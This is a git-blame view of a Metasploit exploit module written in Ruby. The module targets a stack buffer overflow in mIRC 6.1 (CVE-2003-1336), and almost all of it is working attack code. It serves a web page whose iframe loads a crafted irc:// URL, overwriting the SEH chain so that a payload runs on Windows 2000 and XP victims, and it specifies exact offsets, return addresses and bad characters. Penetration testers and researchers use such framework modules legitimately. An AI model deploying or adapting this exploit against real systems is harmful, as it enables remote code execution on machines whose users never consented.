Files
metasploit-gs/modules/exploits/windows/browser/mirc_irc_url.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

72 lines
2.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = NormalRanking
2006-11-03 19:35:42 +00:00
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
2006-11-03 19:35:42 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'mIRC IRC URL Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in mIRC 6.1. By
2006-11-03 19:35:42 +00:00
submitting an overly long and specially crafted URL to
the 'irc' protocol, an attacker can overwrite the buffer
2006-11-03 19:35:42 +00:00
and control program execution.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'References' =>
2006-11-03 19:35:42 +00:00
[
2009-10-12 14:39:51 +00:00
[ 'CVE', '2003-1336'],
[ 'OSVDB', '2665'],
2006-11-03 19:35:42 +00:00
[ 'BID', '8819' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro English All', { 'Offset' => 1442, 'Ret' => 0x75022ac4 } ],
[ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 1414, 'Ret' => 0x71aa32ad } ],
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2003-10-13',
2006-11-03 19:35:42 +00:00
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
filler = rand_text_alphanumeric(target['Offset'], payload_badchars)
2006-11-03 19:35:42 +00:00
seh = generate_seh_payload(target.ret)
sploit = filler + seh
# Build the HTML content
content = "<html><iframe src='irc://#{sploit}'></html>"
2012-04-20 13:31:42 -06:00
print_status("Sending #{self.name}")
2006-11-03 19:35:42 +00:00
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
2006-11-03 19:35:42 +00:00
end
2009-10-12 14:39:51 +00:00
end